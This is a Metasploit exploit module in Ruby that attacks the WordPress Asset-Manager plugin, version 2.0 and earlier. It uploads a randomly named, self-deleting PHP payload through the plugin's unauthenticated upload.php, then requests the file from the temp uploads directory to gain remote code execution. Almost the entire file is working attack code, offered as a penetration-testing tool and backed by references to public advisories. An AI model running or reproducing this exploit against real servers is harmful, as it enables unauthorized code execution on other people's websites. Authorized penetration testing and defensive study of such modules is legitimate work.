##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
        temp directory without authentication, which results in arbitrary code execution.
      },
      'Author'         =>
        [
          'Sammy FORGIT', # initial discovery
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '82653' ],
          [ 'BID', '53809' ],
          [ 'EDB', '18993' ],
          [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
        ],
      'Payload'       =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 26 2012'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
      ], self.class)
  end

  def exploit
    uri =  target_uri.path
    uri << '/' if uri[-1,1] != '/'
    peer = "#{rhost}:#{rport}"
    payload_name = "#{rand_text_alpha(5)}.php"
    php_payload = get_write_exec_payload(:unlink_self=>true)

    data = Rex::MIME::Message.new
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    print_status("#{peer} - Uploading payload #{payload_name}")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data
    })

    if not res or res.code != 200 or res.body !~ /#{payload_name}/
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    print_status("#{peer} - Executing payload #{payload_name}")
    res = send_request_raw({
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
      'method'  => 'GET'
    })

    if res and res.code != 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
    end
  end
end